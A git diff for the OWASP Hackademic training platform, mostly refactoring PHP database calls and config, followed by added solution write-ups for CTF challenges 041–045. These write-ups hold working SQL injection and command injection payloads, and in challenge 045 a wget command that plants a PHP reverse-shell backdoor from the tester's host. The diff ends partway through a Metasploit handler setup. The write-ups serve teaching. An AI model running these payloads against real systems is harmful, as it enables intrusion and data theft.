$db->query($sql,$params); + $query = $db->read($sql, $params, self::$action_type); } else { $sql = "SELECT COUNT(*) as num FROM users"; - $query = $db->query($sql); + $query = $db->read($sql, NULL, self::$action_type); } $result = $db->fetchArray($query); return $result['num']; } - public static function getNUsers ($start, $limit, $search=null, $category=null) { - global $db; + public static function getNUsers($start, $limit, $search = NULL, $category = NULL) { $params = array( - ':start' => $start, - ':limit' => $limit - ); - if ($search != null && $category != null) { - $params[':search_string'] = '%'.$search.'%'; + ':start' => $start, + ':limit' => $limit + ); + if ($search != NULL && $category != NULL) { + $params[':search_string'] = '%' . $search . '%'; switch ($category) { case "username": $sql = "SELECT * FROM users WHERE username LIKE :search_string LIMIT :start, :limit"; @@ -205,18 +204,17 @@ public static function getNUsers ($start, $limit, $search=null, $category=null) } else { $sql = "SELECT * FROM users ORDER BY id LIMIT :start, :limit"; } - $result_array=self::findBySQL($sql, $params); + $result_array = self::findBySQL($sql, $params); return $result_array; } + public static function isUserActivated($username){ global $db; $sql = "SELECT * FROM users WHERE username = :username AND is_activated = 1"; - $params = array( - ':username' => $username - ); - $query = $db->query($sql, $params); + $params = array(':username' => $username); + $query = $db->read($sql, $params, self::$action_type); $result = $db->numRows($query); - if ($result) { + if($result) { return true; } else { return false; @@ -225,29 +223,38 @@ public static function isUserActivated($username){ public function doesUserExist($username){ global $db; $sql = "SELECT * FROM users WHERE username = :username"; - $params = array( - ':username' => $username - ); - $query = $db->query($sql, $params); + $params = array(':username' => $username); + $query = $db->read($sql, $params, self::$action_type); $result = $db->numRows($query); - if ($result) { + if($result) { + return true; + } else { + return false; + } + } + public function doesEmailExist($email){ + global $db; + $sql = "SELECT * FROM users WHERE email = :email"; + $params = array(':email' => $email); + $query = $db->read($sql, $params, self::$action_type); + $result = $db->numRows($query); + if($result) { return true; } else { return false; } } - public static function updateUser($id, $username, $full_name, $email, $password, - $is_activated, $type) { + public static function updateUser($id, $username, $full_name, $email, $password, $is_activated, $type) { global $db; $params = array( - ':username' => $username, - ':full_name' => $full_name, - ':email' => $email, - ':is_activated' => $is_activated, - ':type' => $type, - ':id' => $id - ); + ':username' => $username, + ':full_name' => $full_name, + ':email' => $email, + ':is_activated' => $is_activated, + ':type' => $type, + ':id' => $id + ); if($password == '') { $sql = "UPDATE users SET username = :username, full_name = :full_name, email = :email, "; $sql .= " is_activated = :is_activated , type = :type WHERE id = :id"; @@ -257,7 +264,7 @@ public static function updateUser($id, $username, $full_name, $email, $password, $sql = "UPDATE users SET username = :username, full_name = :full_name, email = :email, "; $sql .= " password=:password, is_activated = :is_activated , type = :type WHERE id = :id"; } - $query = $db->query($sql, $params); + $query = $db->update($sql, $params, self::$action_type); if ($db->affectedRows($query)) { return true; } else { @@ -268,14 +275,12 @@ public static function updateUser($id, $username, $full_name, $email, $password, public static function deleteUser($id){ global $db; $sql = "DELETE FROM users WHERE id=:id"; - $params = array( - ':id' => $id - ); + $params = array(':id' => $id); ClassMemberships::deleteAllMemberships($id); ChallengeAttempts::deleteChallengeAttemptByUser($id); $user = self::getUser($id); UserHasChallengeToken::deleteByUser($user->username); - $query = $db->query($sql, $params); + $query = $db->delete($sql, $params, self::$action_type); if ($db->affectedRows($query)) { return true; } else { @@ -284,17 +289,17 @@ public static function deleteUser($id){ } public static function instantiate($record) { - $object=new self; - foreach($record as $attribute=>$value) { + $object = new self; + foreach($record as $attribute => $value) { if($object->hasAttribute($attribute)) { - $object->$attribute=$value; + $object->$attribute = $value; } } return $object; } private function hasAttribute($attribute) { - $object_vars=get_object_vars($this); + $object_vars = get_object_vars($this); return array_key_exists($attribute,$object_vars); } @@ -302,12 +307,12 @@ public static function validateToken($username, $token){ global $db; $sql = "SELECT * FROM users WHERE username=:username AND token=:token"; $params = array( - ':username' => $username, - ':token' => $token - ); - $query = $db->query($sql, $params); + ':username' => $username, + ':token' => $token + ); + $query = $db->read($sql, $params, self::$action_type); $result = $db->numRows($query); - if ($result) { + if($result) { return true; } else { return false; diff --git a/model/common/class.UserHasChallengeToken.php b/model/common/class.UserHasChallengeToken.php index 64c6894f..f8997007 100755 --- a/model/common/class.UserHasChallengeToken.php +++ b/model/common/class.UserHasChallengeToken.php @@ -39,68 +39,78 @@ class UserHasChallengeToken { public $token; public $challenge_id; - public static function add($userid=null, $chid=null, $token=null) { + private static $action_type = 'user_has_challenge_token'; + + public static function add($userid = null, $chid = null, $class_id = null, $token = null) { global $db; $params = array( - ':user_id' => $userid, - ':challenge_id' => $chid, - ':token' => $token - ); - $exists = self::findByPair($userid,$chid); + ':user_id' => $userid, + ':class_id' => $class_id, + ':challenge_id' => $chid, + ':token' => $token + ); + $exists = self::find($userid, $chid, $class_id); if($exists != NULL){ $sql = 'UPDATE user_has_challenge_token SET token = :token - WHERE user_id = :user_id AND challenge_id = :challenge_id'; - }else{ - $sql = 'INSERT INTO user_has_challenge_token(user_id,challenge_id,token) VALUES( - :user_id,:challenge_id,:token)'; + WHERE user_id = :user_id AND challenge_id = :challenge_id AND class_id = :class_id'; + $query = $db->update($sql, $params, self::$action_type); + } else { + $sql = 'INSERT INTO user_has_challenge_token(user_id,class_id,challenge_id,token) VALUES( + :user_id,:class_id,:challenge_id,:token)'; + $query = $db->create($sql, $params, self::$action_type); } - $query = $db->query($sql, $params); + if ($db->affectedRows($query)) { return true; } else { return false; } } + public static function deleteByUser($user_id){ global $db; $params = array(':user_id' => $user_id); $sql = 'DELETE FROM user_has_challenge_token WHERE user_id = :user_id;'; } - public static function findByPair($userid,$chid){ + + public static function find($userid,$chid,$class_id){ global $db; $sql = "SELECT * FROM user_has_challenge_token WHERE - user_id= :user_id AND challenge_id= :challenge_id + user_id= :user_id AND challenge_id= :challenge_id AND class_id = :class_id LIMIT 1"; $params = array( - ':user_id' => $userid, - ':challenge_id' => $chid - ); - $object_array=self::findBySQL($sql, $params); + ':user_id' => $userid, + ':class_id' => $class_id, + ':challenge_id' => $chid + ); + $object_array = self::findBySQL($sql, $params); /*var_dump($userid); var_dump($chid); var_dump($object_array);die();*/ - return !empty($object_array)?array_shift($object_array):false; + return !empty($object_array) ? array_shift($object_array) : false; } + private static function findBySQL($sql, $params = NULL) { global $db; - $result_set=$db->query($sql, $params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); + $result_set = $db->read($sql, $params, self::$action_type); + $object_array = array(); + while($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); } return $object_array; } + public static function instantiate($record) { - $object=new self; - foreach($record as $attribute=>$value) { + $object = new self; + foreach($record as $attribute => $value) { if($object->hasAttribute($attribute)) { - $object->$attribute=$value; + $object->$attribute = $value; } } return $object; } private function hasAttribute($attribute) { - $object_vars=get_object_vars($this); - return array_key_exists($attribute,$object_vars); + $object_vars = get_object_vars($this); + return array_key_exists($attribute, $object_vars); } } diff --git a/model/common/class.UserScore.php b/model/common/class.UserScore.php old mode 100644 new mode 100755 index ec03cd0d..39144f02 --- a/model/common/class.UserScore.php +++ b/model/common/class.UserScore.php @@ -33,137 +33,145 @@ class UserScore{ - public $id; - public $challenge_id; - public $class_id; - public $user_id; - public $points; - public $penalties_bonuses; + private static $action_type = 'user_score'; + + public $id = NULL; + public $challenge_id = NULL; + public $class_id = NULL; + public $user_id = NULL; + public $points = NULL; + public $penalties_bonuses = ""; /** * Adds a score entry for a user solving the specific challenge * this function is called each time the user tries the challenge - * and it's updated with the bonuses or penalties the user has*/ - public static function add_user_score( $user_id, $class_id, - $challenge_id, $points, - $penalties_bonuses){ + * and it's updated with the bonuses or penalties the user has. + * @param $score The score object to add. + */ + public static function add_user_score($score) { global $db; - $params=array(':user_id'=>$user_id, ':challenge_id'=>$challenge_id, - ':class_id'=>$class_id, ':points'=>$points, - ':penalties_bonuses'=>$penalties_bonuses); - $sql="INSERT INTO user_score(user_id,challenge_id,class_id,points,penalties_bonuses)"; - $sql .= "VALUES (:user_id,:challenge_id,:class_id,:points,:penalties_bonuses)"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { + $params = array(':user_id' => $score->user_id, ':challenge_id' => $score->challenge_id, + ':class_id' => $score->class_id, ':points' => $score->points, + ':penalties_bonuses' => $score->penalties_bonuses); + $sql = "INSERT INTO user_score(user_id, challenge_id, class_id, points, penalties_bonuses) "; + $sql .= "VALUES (:user_id, :challenge_id, :class_id, :points, :penalties_bonuses)"; + $statement_handle = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($statement_handle)) { return true; } else { return false; } } - public static function delete_user_score($id){ + + /** + * Deletes an user's score. + * @param $id The id of the score. + */ + public static function delete_user_score($id) { global $db; - $params=array(':id'=>$id); - $sql = "DELETE FROM user_score WHERE id=:id"; - $query = $db->query($sql,$params); + $params = array(':id' => $id); + $sql = "DELETE FROM user_score WHERE id = :id"; + $statement_handle = $db->delete($sql, $params, self::$action_type); ClassChallenges::deleteAllMemberships($id); - if ($db->affectedRows($query)) { + if ($db->affectedRows($statement_handle)) { return true; } else { return false; } } - public static function update_user_score( $id, $user_id, $challenge_id, - $class_id, $points, - $penalties_bonuses){ + + /** + * Update a score entry in the database. + * @param $score The score to update. + */ + public static function update_user_score($score) { global $db; - $params=array(':user_id'=>$user_id, ':challenge_id'=>$challenge_id, - ':class_id'=>$class_id, ':points'=>$points, - ':penalties_bonuses'=>$penalties_bonuses,':id'=>$id); - $sql="UPDATE user_score SET user_id = :user_id, - challenge_id = :challenge_id, - class_id = :class_id, - points = :points, - penalties_bonuses= :penalties_bonuses - WHERE id = :id"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { + if(self::get_scores_for_user_class_challenge($score->user_id, $score->class_id, $score->challenge_id) === false) { + return self::add_user_score($score); + } + $params = array(':user_id' => $score->user_id, ':challenge_id' => $score->challenge_id, + ':class_id' => $score->class_id, ':points' => $score->points, + ':penalties_bonuses' => $score->penalties_bonuses,':id' => $score->id); + $sql = "UPDATE user_score SET user_id = :user_id, challenge_id = :challenge_id, class_id = :class_id, "; + $sql .= "points = :points, penalties_bonuses = :penalties_bonuses WHERE id = :id"; + $statement_handle = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($statement_handle)) { return true; } else { return false; } } - /** + + /** * Returns the score with id $id */ - public static function get_user_score($id){ + public static function get_user_score($id) { global $db; - $params = array (':id' => $id ); - $sql = "SELECT * FROM user_score WHERE id= :id LIMIT 1"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; + $params = array(':id' => $id); + $sql = "SELECT * FROM user_score WHERE id = :id LIMIT 1"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)? array_shift($result_array) : false; } + /** * Returns the score information for users with id = user_id * or false if the id does not exist */ - public static function get_scores_for_user($user_id){ + public static function get_scores_for_user($user_id) { global $db; - $params = array (':user_id' => $user_id ); - $sql = "SELECT * FROM user_score WHERE user_id= :user_id LIMIT 1"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?$result_array:false; - } + $params = array(':user_id' => $user_id); + $sql = "SELECT * FROM user_score WHERE user_id = :user_id LIMIT 1"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)? $result_array : false; + } + /** * Returns the scores for the challenge_id * or false if the id does not exist */ - public static function get_scores_for_challenge($challenge_id){ + public static function get_scores_for_challenge($challenge_id) { global $db; - $params = array (':challenge_id' => $challenge_id ); - $sql = "SELECT * FROM user_score WHERE challenge_id= :challenge_id LIMIT 1"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; - } + $params = array(':challenge_id' => $challenge_id); + $sql = "SELECT * FROM user_score WHERE challenge_id = :challenge_id LIMIT 1"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)? array_shift($result_array) : false; + } + /** * Returns the class scores */ - public static function get_scores_for_class($class_id){ + public static function get_scores_for_class($class_id) { global $db; - $params = array (':class_id' => $class_id ); - $sql = "SELECT * FROM user_score WHERE class_id= :class_id LIMIT 1"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; - } - /** + $params = array(':class_id' => $class_id); + $sql = "SELECT * FROM user_score WHERE class_id = :class_id LIMIT 1"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)? array_shift($result_array) : false; + } + + /** * Returns the score information for the specific user in * specific class for all challenges */ - public static function get_scores_for_user_class($user_id, $class_id){ + public static function get_scores_for_user_class($user_id, $class_id) { global $db; - $params = array (':user_id' => $user_id, - ':class_id' => $class_id); - $sql = "SELECT * FROM user_score - WHERE user_id= :user_id - AND class_id= :class_id"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?$result_array:false; + $params = array(':user_id' => $user_id, ':class_id' => $class_id); + $sql = "SELECT * FROM user_score WHERE user_id = :user_id AND class_id= :class_id"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)? $result_array : false; } + /** * Returns the score information for the specific user in * the specific class for the specific challenge */ - public static function get_scores_for_user_class_challenge($user_id, $class_id, $challenge_id){ + public static function get_scores_for_user_class_challenge($user_id, $class_id, $challenge_id) { global $db; - $params = array (':user_id' => $user_id, - ':class_id' => $class_id, - ':challenge_id' => $challenge_id); - $sql = "SELECT * FROM user_score - WHERE user_id= :user_id - AND class_id= :class_id - AND challenge_id= :challenge_id"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; + $params = array (':user_id' => $user_id, ':class_id' => $class_id, ':challenge_id' => $challenge_id); + $sql = "SELECT * FROM user_score WHERE user_id = :user_id AND class_id = :class_id AND challenge_id = :challenge_id"; + $result_array = self::findBySQL($sql,$params); + return !empty($result_array)? array_shift($result_array) : false; } + public static function instantiate($record) { $object=new self; foreach($record as $attribute=>$value) { @@ -178,12 +186,19 @@ private function hasAttribute($attribute) { $object_vars=get_object_vars($this); return array_key_exists($attribute,$object_vars); } - private static function findBySQL($sql,$params=NULL) { + + /** + * Retrieves scores from the database. + * @param $sql The SQL query. + * @param $params The parameters for the query. + * @return An array of UserScore objects. + */ + private static function findBySQL($sql, $params = NULL) { global $db; - $result_set=$db->query($sql,$params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); + $statement_handle = $db->read($sql, $params, $action_type); + $object_array = array(); + while($row = $db->fetchArray($statement_handle)) { + $object_array[] = self::instantiate($row); } return $object_array; } diff --git a/model/common/class.Utils.php b/model/common/class.Utils.php index e498d58e..7062c5ea 100755 --- a/model/common/class.Utils.php +++ b/model/common/class.Utils.php @@ -5,7 +5,7 @@ * * Hackademic Utils Class * Generic, common and utility methods - * + * * Copyright (c) 2012 OWASP * * LICENSE: @@ -40,13 +40,19 @@ class Utils { * Define Constants function. These constants are used to locate files on the server */ public static function defineConstants() { - if ( !defined('HACKADEMIC_PATH') ) { - define('HACKADEMIC_PATH', str_replace("\\",'/', dirname(dirname(dirname(__FILE__)))).'/'); + if (!defined('HACKADEMIC_PATH')) { + define('HACKADEMIC_PATH', str_replace("\\",'/', dirname(dirname(dirname(__FILE__)))).'/'); define('GLOBAL_CLASS_ID',1); define('DEFAULT_RULES_ID',1); define('NO_RESULTS',false); define('MICROSECS_IN_MINUTE',60); } + if(!defined('HACKADEMIC_PLUGIN_PATH')) { + define('HACKADEMIC_PLUGIN_PATH', HACKADEMIC_PATH . 'user/plugins/'); + } + if(!defined('HACKADEMIC_THEME_PATH')) { + define('HACKADEMIC_THEME_PATH', HACKADEMIC_PATH . 'user/themes/'); + } } public function validateEmail($email = '') { @@ -54,7 +60,7 @@ public function validateEmail($email = '') { $pattern = '/^[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+)*@' . $hostname . '$/i'; return preg_match($pattern, $email); } - + public static function getPassUtil(){ return $util = new PasswordHash(8, true); } @@ -62,7 +68,7 @@ public static function getPassUtil(){ public static function hash($password){ $util = new PasswordHash(8, true); $hash = $util->HashPassword($password); - if (strlen($hash) <20 ){ + if (strlen($hash) < 20){ throw new Exception('Hash length is less than 20 characters'); return false; } @@ -74,10 +80,9 @@ public static function check($input, $hash){ return $check = $util->CheckPassword($input, $hash); } - - public static function sanitizeInput($input){ - - $input = htmlspecialchars($input); - return $input; + public static function sanitizeInput($input) { + $input = str_replace( "\0", "", $input); + $input = htmlspecialchars($input); + return $input; } } diff --git a/pages/challenge_monitor.php b/pages/challenge_monitor.php index 92424eab..4c61f1b0 100755 --- a/pages/challenge_monitor.php +++ b/pages/challenge_monitor.php @@ -31,10 +31,6 @@ */ require_once(dirname(dirname(__FILE__))."/init.php"); require_once(HACKADEMIC_PATH."controller/class.ChallengeMonitorController.php"); -define("CHALLENGE_INIT", 2); -define("CHALLENGE_SUCCESS", 1); -define("CHALLENGE_FAILURE", 0); - $monitor = new ChallengeMonitorController(); $monitor->go(); diff --git a/pages/challengelist.php b/pages/challengelist.php index 6e28ea21..fbb727ce 100755 --- a/pages/challengelist.php +++ b/pages/challengelist.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ChallengeListController.php"); $controller = new ChallengeListController(); diff --git a/pages/challengesfrontend.php b/pages/challengesfrontend.php index d8a11fb7..b8ab87a5 100755 --- a/pages/challengesfrontend.php +++ b/pages/challengesfrontend.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ChallengeMenuController.php"); $controller = new ChallengeMenuController(); diff --git a/pages/forgotpassword.php b/pages/forgotpassword.php index b1d19536..4b91e4bc 100755 --- a/pages/forgotpassword.php +++ b/pages/forgotpassword.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ForgotPasswordController.php"); $controller = new ForgotPasswordController(); diff --git a/pages/home.php b/pages/home.php index 640e6386..5f260adf 100755 --- a/pages/home.php +++ b/pages/home.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.LandingPageController.php"); $controller = new LandingPageController(); diff --git a/pages/index.php b/pages/index.php old mode 100644 new mode 100755 diff --git a/pages/login.php b/pages/login.php index e621dacf..aa154306 100755 --- a/pages/login.php +++ b/pages/login.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.LoginController.php"); $controller = new LoginController(); diff --git a/pages/logout.php b/pages/logout.php index 17439941..7aa7e751 100755 --- a/pages/logout.php +++ b/pages/logout.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.LogoutController.php"); $controller = new LogoutController(); diff --git a/pages/mainlogin.php b/pages/mainlogin.php index 3a210e10..d092d3b9 100755 --- a/pages/mainlogin.php +++ b/pages/mainlogin.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.MainLoginController.php"); $controller = new MainLoginController(); diff --git a/pages/progress.php b/pages/progress.php index 6ceb4e82..23b5a0d2 100755 --- a/pages/progress.php +++ b/pages/progress.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ProgressReportController.php"); $controller = new ProgressReportController(); diff --git a/pages/ranking.php b/pages/ranking.php index b7d91a70..f19bbfed 100755 --- a/pages/ranking.php +++ b/pages/ranking.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.RankingsController.php"); $controller = new RankingsController(); diff --git a/pages/readarticle.php b/pages/readarticle.php index 29bf59ea..266dcc91 100755 --- a/pages/readarticle.php +++ b/pages/readarticle.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ReadArticleController.php"); $controller = new ReadArticleController(); diff --git a/pages/register.php b/pages/register.php index 9e4c53c9..00788a95 100755 --- a/pages/register.php +++ b/pages/register.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.RegisterUserController.php"); $controller = new RegisterUserController(); diff --git a/pages/resetpassword.php b/pages/resetpassword.php index 023afa14..afcb03f7 100755 --- a/pages/resetpassword.php +++ b/pages/resetpassword.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ResetPasswordController.php"); $controller = new ResetPasswordController(); diff --git a/pages/showchallenges.php b/pages/showchallenges.php index 9b1951af..b4c8f251 100755 --- a/pages/showchallenges.php +++ b/pages/showchallenges.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.ShowChallengeController.php"); $controller = new ShowChallengeController(); diff --git a/pages/trychallenge.php b/pages/trychallenge.php index 33e5403d..82eec9d4 100755 --- a/pages/trychallenge.php +++ b/pages/trychallenge.php @@ -29,7 +29,7 @@ * @copyright 2012 OWASP * */ -require_once("../init.php"); + require_once(HACKADEMIC_PATH."controller/class.TryChallengeController.php"); $controller = new TryChallengeController(); diff --git a/sample.config.inc.php b/sample.config.inc.php index 696ed5f3..09c967ef 100755 --- a/sample.config.inc.php +++ b/sample.config.inc.php @@ -14,7 +14,7 @@ // For example, if the folder is located at http://yourdomain/hackademic/, set to '/hackademic/'. define('SITE_ROOT_PATH', "#YOUR_SITE_ROOT_PATH#"); -// Full server path to /socialcalc/ folder. +// Full server path to /hackademic/ folder. define('SOURCE_ROOT_PATH', "#YOUR_SOURCE_ROOT_PATH#"); // Toggle Smarty caching. true: Smarty caching on, false: Smarty caching off @@ -22,7 +22,8 @@ define('CACHE_PAGES',false); // Environment -define('ENVIRONMENT', 'production'); +// TODO: change to production once we finish the merge +define('ENVIRONMENT', 'dev'); /************************************************/ /*** DATABASE CONFIG ***/ @@ -62,13 +63,20 @@ ***************************************/ //every session closes after 48 hours -define('SESS_EXP_ABS',172800); +define('SESS_EXP_ABS',172800); //every session closes after 2 hours of inacivity -define('SESS_EXP_INACTIVE',7200); +define('SESS_EXP_INACTIVE',7200); //session cookie name -define('SESS_NAME',"not_the_cookie_you_are_looking_for"); +define('SESS_NAME',"not_the_cookie_you_are_looking_for"); //excibition mode -define('EXCIBITION_MODE',false); +define('EXHIBITION_MODE',false); + +//the installation language +define('LANG','EN'); + +/* Unit Testing Variables*/ +define('TEST_USERNAME_ADMIN','#THE_USERNAME_FOR_TESTS'); +define('TEST_PASSWORD_ADMIN','#THE_PASSWORD_FOR_tESTS'); diff --git a/solution/ch041_solution.txt b/solution/ch041_solution.txt new file mode 100755 index 00000000..ffd28613 --- /dev/null +++ b/solution/ch041_solution.txt @@ -0,0 +1,38 @@ +Challenge 041 : Easy CTF Login challenge + +The first thing one would notice is, right click is disabled on this admin page, one can either use the shortcut to veiw soirce, or some extenstions or tools like web developer etc. + +once you view the source, it shows "" + +Right click has been disabled which you've gone through. +If you look carefully, you will notice that the view source page is quite lengthy +So scroll your way down towards the end. there's the source code. +These tricks are commonly used by some web developers to hide source code. + +Everything looks normal on the code, normal post login form.. +"action=pwd.php" +let's check this out --> invalid username password, ok so this is not the vulnerability. + +In style.css file u get "images/football2.jpg" +but images/ dir is protected + +Try going through all the files in source code, precisely more suspicious file.. +If you get a closer look at it, +there's this image.jpg file wen you view that, you notice that it's not used anywhere else so far in our site +so this might be of some help. + +Looks like a normal image, but is it? +Everything that shines is not Gold. + +Lets save this image and check the type of file, this is correct : jpeg file +lets view the contents of file using hexeditor or strings + +When one views it, you 'll notice something like this " YWRtaW4= : QGRtIW4hJDRSQDQwUg==" +towards end.. which pretty much looks like username:password + +This sure looks encoded, one would get that from experience that it's one of the most common encrypted format i.e. Base64 encoded +Hence decode both strings and login with the credentials + +Successful !!! + +Hope You Learned Some new things and Enjoyed this Challenge !!! diff --git a/solution/ch042_solution.txt b/solution/ch042_solution.txt new file mode 100755 index 00000000..d7b0fcdc --- /dev/null +++ b/solution/ch042_solution.txt @@ -0,0 +1,58 @@ +Challenge 042 : Medium Spy Admin Challenge + +Welcome to this interesting challenge. +login form --> let's try sql injection various methods : neither of them works +there might be a reason you've been given a user credentials +It looks like a simple website.. let's login with the given username and password. + +Looks suspicious.. +"Our Customer" "Paid Browser" --> "OurBrowser" + +The Customers have been secretised to used some specific paid browser +Let's check out by changing our UserAgent to "OurBrowser" +u can create this using User Agent addon or tamper request using tamper data or burpsuite + +Now u have access to ur profile +it shows username and some call id. + +which might be coming from database. +lets try injecting some queries into different injection fields.. such as along with user agent. +lets check out our cookies + +the content looks something like c2NydHVzcg%3D%3D %3D = "=" +c2NydHVzcg== + +this sure is base64 encoded.. let's decode this : scrtusr +this is the username we have logged in as +OKAY !! the cookie has content as username which is being encoded as base64 +so let's try base64 encoded (admin).. might work :) + +admin : YWRtaW4= +Nice Try :P + +so let's try something else : +let's try to inject this field as : base64[scrtusr'] : c2NydHVzcic= +save the cookie +wow.. it gives : you almost got it.. so surely this part is injectable.. let's try another queries as scrtusr' or scrtusr" with base64 encoding +and with some time u'll come to know that the query is balanced using ') + +') order by 4-- - : gives unknown column 4 +so no. of columns is 3 + +let's base 64 encode this : ') union all select 1,2,3 -- - and inject in our cookie + +so we get the vulnerable column i.e. 2 +so let's inject this completely using error sql injection + +') union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- - +JykgdW5pb24gYWxsIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAtLSAt + +gives tables : emails and users + +inject into table and get the username and password for admin + +admin : TheAdminPassw0rd + +Congratulations You Tried Your Best (y) + +Hope you enjoyed this challenge and Learned some new Things about WebApp Security !!! diff --git a/solution/ch043_solution.txt b/solution/ch043_solution.txt new file mode 100644 index 00000000..b450c8a7 --- /dev/null +++ b/solution/ch043_solution.txt @@ -0,0 +1,32 @@ +Challenge 043 : Experienced Injection Challenge + +YOU're logged in a user and when u notice the url it's a GET request.. so we might some thing like sql injection seems easy.. +http://localhost:8008/inside/main_index.php?id=1' +getting a simple erroe on adding of ' at the end +That means, for sure SQL injection is possible in this +let's dig a bit deeper +' -- - doesnt works +Spaces are Filtered :/ +Filters Filters everywhere.. Developer has worked out some !! + +http://localhost/sqli-labs/Less-26/?id=1'&&'1 +http://localhost/sqli-labs/Less-26/?id=1%27%A0union%A0all%A0select%A01,2,3%26%26%20%271 +http://localhost/sqli-labs/Less-26/?id=1777%27union%A0all%A0select%A01,2,3%26%26%271 + +this was good.. actually.. spaces are filtered some and also and and or.. so url encoding and any random character at that place and the query works + +http://localhost:8008/inside/main_index.php?id=777%27union%A0all%A0select%A01,database%28%29,group_concat%28table_name%29%A0from%A0information_schema.tables%A0where%A0table_schema=database%28%29%26%26%271 + +http://localhost:8008/inside/main_index.php?id=777%27union%A0all%A0select%A01,group_concat%28table_name%29,3%A0from%A0information_schema.tables%A0where%A0table_schema=database%28%29%26%26%271 +gives : emails and users table + + +http://localhost:8008/inside/main_index.php?id=777%27union%A0all%A0select%A01,group_concat%28column_name%29,3%A0from%A0information_schema.columns%A0where%A0table_name=%27users%27%26%26%271 + +dump the admin username and password +theadmin : theadmin123 + +/robots.txt : gives u the admin page + +Successful !! +Hope you enjoyed this challenge !!! diff --git a/solution/ch044_solution.txt b/solution/ch044_solution.txt new file mode 100644 index 00000000..e96a3153 --- /dev/null +++ b/solution/ch044_solution.txt @@ -0,0 +1,31 @@ +Challenge 044 : Command Injection Easy + +A simple web page that pings and tells you the information abt the web server. +google.com : gives the result as such +fb.com : gives the result like 200 OK or 301 redirect +and other information too lot of information + +let's try something else +ls +whoami + +google.com; ls +google.com && ls +doesnt' work all filtered + +let's try +google.com || ls .. this too filtered + +kk the blacklist is provided to you.. so you know the symbols that are blocked.. like ; & | are blocked + || --> '' + + and '| ' --> '' + aah.. there's no filter for '|' + +let's tryy google.com |ls -al +and boom u're able to get all the files in the directory + +cat the EPL.txt and enter it on the login page + +Hope You enjoyed it !!! + diff --git a/solution/ch045_solution.txt b/solution/ch045_solution.txt new file mode 100644 index 00000000..27d664d2 --- /dev/null +++ b/solution/ch045_solution.txt @@ -0,0 +1,57 @@ +Challenge 045 : Tricky Injection Challenge Trip To Dawki RCE + +Looks like a paint blog of student + +let's put input at the ip_searchfield +' " +8.8.8.8 +8.8.8.8; whoami +8.8.8.8 && whoami + +127.0.0.1 || ls -al : gives the ouput of ping and as well all the files in the same directory + +from given information payload file was WAS backdoor.php +here the list shows the file could be backdoor.txt +let's see the content of it + +1.1.1.1 || cat backdoor.txt +looks like encoded.. let's copy this content of text file onto some of our notepad and decode it. +first urldecode and then base64 decode it.. u'll get a php code.. looks like a php backdoor that establishes a reverse connection on the specified LHOST and LPORT look like a local ip.. let's edit this payload to get the connection to our ip.. with lhost as "your ip" my case : 192.168.0.104 and let the LPORT be 4444 + +Add tags at the start and end of the backdoor +let's save this file on our local system on localhost as backdoor.txt + +let's get this edited backdoor on the SERVER +searchfield : || wget http://192.168.0.104/backdoor.txt -O backdoor.php +searchfield : `wget http://192.168.0.104/backdoor.txt -O backdoor.php` 192.168.0.104 is my ip.. check in for ur case : ifconfig + `wget http://192.168.0.104/backdoor.txt -O backdoor.php` + +now 127.0.0.1 || ls -al gives backdoor.php + +let's execute this php.. before that +let's FIRE up metasploit or armitage and turn up our listener + +armitage : +use exploit/multi/handler +set PAYLOAD 